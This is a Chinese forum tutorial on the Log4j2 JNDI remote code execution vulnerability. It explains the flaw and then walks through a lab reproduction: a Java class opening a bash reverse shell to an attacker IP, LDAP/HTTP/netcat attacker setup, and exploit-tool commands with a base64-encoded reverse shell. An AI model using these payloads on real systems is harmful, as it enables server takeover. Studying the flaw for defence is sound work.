热门框架漏洞(RCE— Log4j2 远程代码执行)

本贴最后更新于 188 天前,其中的信息可能已经东海扬尘

一、log4j2

log4j2 是全球使用广泛的 java 日志框架,同时该漏洞还影响很多全球使用量的 Top 序列的通用开源组件。

二、背景

------ 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

------ 2021 年 12 月 9 日,国内多家机构监测到 Apache Log4j2 存在任意代码执行漏洞,并紧急通报相关情况。由于 Apache Log4j 存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。鉴于 Apache Log4j 本身涉及多种应用组件,将此漏洞威胁等级调整为:严重。

三、影响版本

Log4j2.x<=2.14.1

四、漏洞原理

构造的 payload 是这样的:
${jndi:
------ 该漏洞是由于 Apache Log4j2 某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

------ Log4j2 组件在处理程序日志记录时存在 JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发 Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

五、LDAP 和 JNDI 是什么

------ LDAP 全称是 Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP 可以理解是一个简单存储数据的数据库。

------ LDAP 有一个客户端和服务器端,server 端是用来存放资源,client 端主要用于查询等操作。服务端都是由各大厂商的产品的比如 Microsoft 的 AD,当然可以自己做。客户端通过 LDAP 协议去访问服务器端。

------ JNDI (JAVA NAMING AND Directory interface,Java 命名和目录接口),则是 Java 中用于访问 LDAP 的 API,是为了 Java 程序访问命名服务和目录服务而提供的统一 API。

------ 所以上述的 payload ${jndi: 访问 ldap 协议的服务。

六、漏洞手工复现

1、利用 DNSlog 来测试漏洞是否存在

在 DNSlog 上获取一个域名:dfkemb.dnslog.cn

image.png

在 burp 构造 payload 重新发送
${jndi: dfkemb.dnslog.cn:1389/Exp}

image.png

加入返回包回显 400,那就说明 payload 被过滤,这时候就可以把 payload 进行 URL 编码再发送。

返回 DNSlog 查看

image.png

这样就说明存在漏洞

2、加载恶意文件 Exploit.java,将其编译成 class 文件

利用到 javac 来进行编译,但这对 Java 版本有要求,Java 版本适用 的 jdk 版本:JDK 11.0.1、8u191、7u201、6u211 之前
下面是 Exploit.java 的内容

image.png

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.188.177/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

使用 javac 编译:javac Exploit.java

image.png

编译后就生产一个 Exploit.class 文件

3、开启 web 服务

python3 -m http.server 80

image.png

4、在恶意文件 Exploit.class 所在的目录开启 LDAP 服务

利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.188.177/#Exploit" 9999

image.png

这一步相当于把攻击机变成服务器,让目标服务器作为客户端来访问我的攻击机。

5、监听反弹 shell 的端口

nc -lvnp 1234

image.png

6、返回前端,让受害者访问 ldap 的端口

image.png

最后再回到监听窗口查看:

image.png

这里就成功反弹 shell 了。

7、要点总结

  • 上面第 2、3、4、5 步都是在攻击者端操作,只有第 6 步是在普通前端操作。
  • 上面一共开启了 3 个端口,分别是 80、1234、9999。这分别对应的是:web 服务、接收反弹 shell 的、ldap 服务。

七、漏洞工具复现

1、使用工具:JNDIExploit-1.2-SNAPSHOT.jar

image.png

-i是攻击机所在的IP,-l是LDAP服务开启的端口,-p是web服务开启的端口,-u是攻击后payload的使用方式。

**

POC:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1389 -p 8888 -i 192.168.188.177

image.png

利用-u 来查看使用的 payload

image.png

选一条 payload 在前端来发送请求
这里选了 这一条

image.png

2、使用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

POC:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.188.177”

其中:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx 是 bash -i >& /dev/tcp/192.168.188.177/2888 0>&1 的反弹 shell 命令的 base64 编码

上面的 POC 就是让受害者访问 192.168.188.177:1389 这个开启了 LDAP 服务的攻击端,然后就反弹 shell 到 192.168.188.177:2888 这个地址和端口。

如下图

image.png

这图受害者要访问的 POC 是:

八、总结

------ Log4j2 漏洞总的来说就是:因为 Log4j2 默认支持解析 ldap/rmi 协议(只要打印的日志中包括 ldap/rmi 协议即可),并会通过名称从 ldap 服务端其获取对应的 Class 文件,并使用 ClassLoader 在本地加载 Ldap 服务端返回的 Class 类。

------ Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

------ 利用 jndi 访问 ldap 服务后,ldap 服务返回了 class 攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了 Log4j2 可以对日志中的“${}”进行解析执行,来进行攻击的。

------ 简单来说就是 Java 中存在 jndi 这个接口用来访问 ldap 服务,因为 Log4j2 默认支持解析 ldap/rmi 协议,普通服务器访问 ldap 服务会直接解析服务中的 class 文件,而无需过滤。攻击者就利用这一点,在 class 文件中写入恶意代码,当普通服务器访问 ldap 服务时就会解析了存在恶意代码的 class 文件并且执行,从而被攻击。

  • 漏洞
    19 引用 • 27 回帖 • 1 关注

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...